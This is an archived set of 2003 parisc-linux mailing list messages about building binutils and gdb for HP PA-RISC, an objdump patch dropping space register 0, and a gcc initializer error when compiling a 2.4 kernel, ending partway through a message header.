> get binutils cvs to build a cross i386->hppa gdb dies in tix (no tk8.4
> directory), trying with just `make all-binutils all-gdb' dies being
> unable to find dl.h or machine/save_state.h.

Unfortunatly, no one got the i386->hppa GDB to build so asking you to do 
that isn't reasonable.  If you've a hppa-linux-gnu box, can you just try 
binutils, `objdump --disassemble`?

Andrew

> so switch to trying native on an hppa-linux host with gdb-5.3.  that dies
> claiming hppa-linux is unsupported.  apply the debian patches.  that build
> dies trying to find texc.pro.
> 
> i'm willing to put in a certain amount of time & effort, but this is
> too much.
> 
> -- "It's not Hollywood. War is real, war is primarily not about defeat or victory, it is about death. I've seen thousands and thousands of dead bodies. Do you think I want to have an academic debate on this subject?" -- Robert Fisk 




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 21:57:33 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20030224215733.O2938__35613.4590031163$1416622238$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk> <3E5A936F.6070401@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622238 22110 80.91.229.3 (22 Nov 2014 02:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:38 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, law@redhat.com,
	Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: Andrew Cagney <ac131313@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 14:57:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BBC1487F
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 14:57:36 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nQbN-0000sH-00; Mon, 24 Feb 2003 21:57:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E5A936F.6070401@redhat.com>; from ac131313@redhat.com on Mon, Feb 24, 2003 at 04:49:35PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17784

On Mon, Feb 24, 2003 at 04:49:35PM -0500, Andrew Cagney wrote:
> > get binutils cvs to build a cross i386->hppa gdb dies in tix (no tk8.4
> > directory), trying with just `make all-binutils all-gdb' dies being
> > unable to find dl.h or machine/save_state.h.
> 
> Unfortunatly, no one got the i386->hppa GDB to build so asking you to do 
> that isn't reasonable.  If you've a hppa-linux-gnu box, can you just try 
> binutils, `objdump --disassemble`?

Yep, I can build binutils head-of-cvs just fine as a crosscompiler,
and objdump --disassemble does the right thing.  Jeff's concern is that
this intended output change might break the gdb testsuite.

fwiw, it doesn't break the binutils `make check' ;-)

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Cagney <ac131313@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 17:11:19 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <3E5A9887.8090209__35558.6398429752$1416622239$gmane$org@redhat.com>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk> <3E5A936F.6070401@redhat.com> <20030224215733.O2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622239 22113 80.91.229.3 (22 Nov 2014 02:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:39 +0000 (UTC)
Cc: law@redhat.com, Alan Modra <amodra@bigpond.net.au>,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 15:09:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.redhat.com (to-wiznet.redhat.com [216.129.200.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D3144884
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 15:09:03 -0700 (MST)
Original-Received: from redhat.com (localhost [127.0.0.1])
	by localhost.redhat.com (Postfix) with ESMTP
	id 5AE94294F; Mon, 24 Feb 2003 17:11:19 -0500 (EST)
User-Agent: Mozilla/5.0 (X11; U; NetBSD macppc; en-US; rv:1.0.2) Gecko/20030223
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17785

> On Mon, Feb 24, 2003 at 04:49:35PM -0500, Andrew Cagney wrote:
> 
>> > get binutils cvs to build a cross i386->hppa gdb dies in tix (no tk8.4
>> > directory), trying with just `make all-binutils all-gdb' dies being
>> > unable to find dl.h or machine/save_state.h.
> 
>> 
>> Unfortunatly, no one got the i386->hppa GDB to build so asking you to do 
>> that isn't reasonable.  If you've a hppa-linux-gnu box, can you just try 
>> binutils, `objdump --disassemble`?
> 
> 
> Yep, I can build binutils head-of-cvs just fine as a crosscompiler,
> and objdump --disassemble does the right thing.  Jeff's concern is that
> this intended output change might break the gdb testsuite.
> 
> fwiw, it doesn't break the binutils `make check' ;-)

If that happens `oops'.  GDB's HP/PA support isn't maintained.

Andrew




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 22:19:46 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20030224221946.P2938__13533.0469151542$1416622239$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk> <3E5A936F.6070401@redhat.com> <20030224215733.O2938@parcelfarce.linux.theplanet.co.uk> <3E5A9887.8090209@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622239 22119 80.91.229.3 (22 Nov 2014 02:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:39 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, law@redhat.com,
	Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: Andrew Cagney <ac131313@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 15:19:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 242534881
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 15:19:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nQws-00017Z-00; Mon, 24 Feb 2003 22:19:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E5A9887.8090209@redhat.com>; from ac131313@redhat.com on Mon, Feb 24, 2003 at 05:11:19PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17786

On Mon, Feb 24, 2003 at 05:11:19PM -0500, Andrew Cagney wrote:
> > Yep, I can build binutils head-of-cvs just fine as a crosscompiler,
> > and objdump --disassemble does the right thing.  Jeff's concern is that
> > this intended output change might break the gdb testsuite.
> 
> If that happens `oops'.  GDB's HP/PA support isn't maintained.

OK.  If at some point it does start to be maintained, I volunteer to
fix up the testsuite.  It looks fairly straightforward -- deleting
the '%sr0,' from these lines:

.*ldw 0\\(sr0,r4\\),r26.*
.*ldh 0\\(sr0,r4\\),r26.*
.*ldb 0\\(sr0,r4\\),r26.*

would be a good start.  not sure which other ones will fail.  all the ld*
and wt*, i'm pretty sure.  maybe a few others.  i could work it out from
the manual, but let's wait for the computer to be able to do it for us?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Tue, 25 Feb 2003 10:51:15 +1030
Lines: 6
Approved: news@gmane.org
Message-ID: <20030225002115.GC31111__49956.6393824809$1416622239$gmane$org@bubble.sa.bigpond.net.au>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk> <3E5A936F.6070401@redhat.com> <20030224215733.O2938@parcelfarce.linux.theplanet.co.uk> <3E5A9887.8090209@redhat.com> <20030224221946.P2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622239 22122 80.91.229.3 (22 Nov 2014 02:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:39 +0000 (UTC)
Cc: Andrew Cagney <ac131313@redhat.com>, law@redhat.com,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 17:22:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta03ps.bigpond.com (mta03ps.bigpond.com [144.135.25.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DBB6482B
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 17:22:19 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.87]) by
          mta03ps.bigpond.com (Netscape Messaging Server 4.15 mta03ps Jul
          16 2002 22:47:55) with SMTP id HAU8ZG00.56N for
          <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 10:21:16 +1000 
Original-Received: from CPE-144-136-190-206.sa.bigpond.net.au ([144.136.190.206]) by psmam07bpa.bigpond.com(MailRouter V3.2g 125/306521); 25 Feb 2003 10:21:16
Original-Received: (qmail 27633 invoked by uid 179); 25 Feb 2003 00:21:15 -0000
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	Andrew Cagney <ac131313@redhat.com>, law@redhat.com,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030224221946.P2938@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17787

I've committed the patch.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Implement fcnv in objdump
Date: Tue, 25 Feb 2003 13:52:19 +1030
Lines: 9
Approved: news@gmane.org
Message-ID: <20030225032219.GE31111__47636.9743621492$1416622239$gmane$org@bubble.sa.bigpond.net.au>
References: <20030224130753.H2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622239 22128 80.91.229.3 (22 Nov 2014 02:10:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:39 +0000 (UTC)
Cc: binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 20:22:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta01ps.bigpond.com (mta01ps.bigpond.com [144.135.25.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41774482C
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 20:22:25 -0700 (MST)
Original-Received: from bubble.local ([144.135.25.69]) by
          mta01ps.bigpond.com (Netscape Messaging Server 4.15 mta01ps Jul
          16 2002 22:47:55) with SMTP id HAUHD700.C2W for
          <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 13:22:19 +1000 
Original-Received: from CPE-144-136-190-206.sa.bigpond.net.au ([144.136.190.206]) by psmam01bpa.bigpond.com(MailRouter V3.0n 71/12052253); 25 Feb 2003 13:22:19
Original-Received: (qmail 6341 invoked by uid 179); 25 Feb 2003 03:22:19 -0000
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030224130753.H2938@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17788

On Mon, Feb 24, 2003 at 01:07:53PM +0000, Matthew Wilcox wrote:
> 	* hppa-dis.c (print_insn_hppa): Implement fcnv instruction modifiers.

Applied.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Tue, 25 Feb 2003 13:38:00 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <3E5A202B000002E2@ocpmta6.freegates.net>
References: <20030224175013.L2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622240 22131 80.91.229.3 (22 Nov 2014 02:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 25 05:38:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A9EF483E
	for <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 05:38:07 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18neLU-0001lM-00; Tue, 25 Feb 2003 13:38:04 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 25 Feb 2003 13:38:00 +0100
In-Reply-To: <20030224175013.L2938@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17789

>-- Original Message --
>From: Matthew Wilcox <willy@debian.org>
>To: Joel Soete <jsoe0708@tiscali.be>
>Cc: parisc-linux@parisc-linux.org
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>Date: Mon, 24 Feb 2003 17:50:13 +0000
>
>
>On Mon, Feb 24, 2003 at 06:42:39PM +0100, Joel Soete wrote:
>> sched.c:93: initializer element is not constant
>> sched.c:93: (near initialization for `tasklist_lock')
>> sched.c:93: initializer element is not constant
>[...]
>> which is precompile as:
>> rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t) {
>(spinlock_t)
>> {1}, 0 };
>> 
>> What's wrong?
>
>looks like gcc broke this again.  for the moment, you can try taking
>out the casts.
>
Yes :(( 

This errors also occurs with 32bits gcc-3.2 as well as for gcc-3.3 (gcc-snapshot)
(but was not with gcc-3.0)

Thanks,
    Joel

PS: daya think a bg is required?

>-- 
>"It's not Hollywood.  War is real, war is primarily not about defeat or
>victory, it is about death.  I've seen thousands and thousands of dead bodies.
>Do you think I want to have an academic debate on this subject?" -- Robert
>Fisk
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Tue, 25 Feb 2003 18:00:42 +0100
Lines: 96
Approved: news@gmane.org
Message-ID: <3E5A2328000006F9@ocpmta8.freegates.net>
References: <3E5A202B000002E2@ocpmta6.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622240 22134 80.91.229.3 (22 Nov 2014 02:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 25 10:00:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95253483E
	for <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 10:00:50 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18niRg-0007nr-00; Tue, 25 Feb 2003 18:00:44 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 25 Feb 2003 18:00:42 +0100
In-Reply-To: <3E5A202B000002E2@ocpmta6.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17790

>
>>-- Original Message --
>>From: Matthew Wilcox <willy@debian.org>
>>To: Joel Soete <jsoe0708@tiscali.be>
>>Cc: parisc-linux@parisc-linux.org
>>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>>Date: Mon, 24 Feb 2003 17:50:13 +0000
>>
>>
>>On Mon, Feb 24, 2003 at 06:42:39PM +0100, Joel Soete wrote:
>>> sched.c:93: initializer element is not constant
>>> sched.c:93: (near initialization for `tasklist_lock')
>>> sched.c:93: initializer element is not constant
>>[...]
>>> which is precompile as:
>>> rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t)
{
>>(spinlock_t)
>>> {1}, 0 };
>>> 
>>> What's wrong?
>>
>>looks like gcc broke this again.  for the moment, you can try taking
>>out the casts.
As struct spinlock_t is defined like:

typedef struct {
#ifdef CONFIG_PA20
        volatile unsigned int lock;
#else
        volatile unsigned int __attribute__((aligned(16))) lock;
#endif
#ifdef CONFIG_DEBUG_SPINLOCK
        volatile unsigned long owner_pc;
        volatile unsigned long owner_cpu;
#endif
} spinlock_t;

I take care to unset CONFIG_DEBUG_SPINLOCK (make menu) and so change in sched.c

#define RW_LOCK_UNLOCKED (rwlock_t) { { 1 } , 0 }

The good news was that I reach to compile the kernel :)
The bad one was that this kernel failled to boot :(

(As this N stand in a computer room, it is not easy to access the console
to grab more info :( , sorry)

Well, doesn't matter, I am already enough happy to be able to boot and work
with a N (even in up).

Thanks again for advises,
    Joel

>>
>Yes :(( 
>
>This errors also occurs with 32bits gcc-3.2 as well as for gcc-3.3 (gcc-snapshot)
>(but was not with gcc-3.0)
>
>Thanks,
>    Joel
>
>PS: daya think a bg is required?
>
>>-- 
>>"It's not Hollywood.  War is real, war is primarily not about defeat or
>>victory, it is about death.  I've seen thousands and thousands of dead
bodies.
>>Do you think I want to have an academic debate on this subject?" -- Robert
>>Fisk
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>---------------------------------
>Vous surfez avec une ligne classique ?
>Faites des economies avec Tiscali Complete
>... Plus d'info sur http://complete.tiscali.be
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Tue, 25 Feb 2003 19:32:24 +0100
Lines: 154
Approved: news@gmane.org
Message-ID: <3E5A232800000729@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622240 22136 80.91.229.3 (22 Nov 2014 02:10:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 25 11:32:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A374483E
	for <parisc-linux@parisc-linux.org>; Tue, 25 Feb 2003 11:32:33 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
